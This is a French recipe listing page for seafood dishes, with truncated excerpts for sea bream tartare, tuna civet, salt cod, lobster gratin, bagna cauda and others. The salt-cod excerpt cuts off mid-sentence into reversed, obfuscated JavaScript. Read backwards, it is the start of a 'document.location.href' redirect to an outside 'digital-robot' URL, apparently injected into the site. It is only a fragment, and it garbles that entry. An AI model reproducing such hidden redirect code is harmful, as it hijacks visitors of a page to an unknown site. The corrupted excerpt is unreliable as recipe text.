Catégorie : Mer

Tartare de dorade avec des courgettes

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Pelez et coupez les courgettes en fines lamelles, faites-les blanchir 2 minutes  dans de l’eau ...

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Civet de thon frais

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Salez, poivrez le morceau de thon, ficelez en rôti. Faites-le revenir dans l’huile d’olive, sur ...

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Effeuillé de morue

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Enlevez l’excédent de sel des filets de morue en les frottant à l’aide d’un tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var ...

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Grillade de thon rouge aux herbes de Provence

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Répartissez généreusement sur la darne de thon, d’herbes de Provence, salez, poivrez .Faites la griller ...

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Queue de cabillaud au beurre anisé

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Déposez la queue de cabillaud dans un plat allant au four, salez, poivrez, arrosez de ...

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Daurade en croûte de sel

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Versez 1 kg de gros sel dans un plat allant au four. Posez la daurade ...

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Gratin de homard

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Faire cuire la chair de homard pendant 15 minutes dans une eau bouillante salée. pelez ...

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Marmite de poissons

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Grattez,  rincez les moules. Coupez le saumon et le cabillaud en morceaux. Pelez, émincez les ...

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Tartare de poissons à la tahitienne

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Coupez chaque ananas en deux dans le sens de la hauteur sans les abîmer. Prélevez-en ...

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Bagna cauda (Italie)

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On utilise des légumes cuits- des pommes de terre – des choux fleurs – où ...

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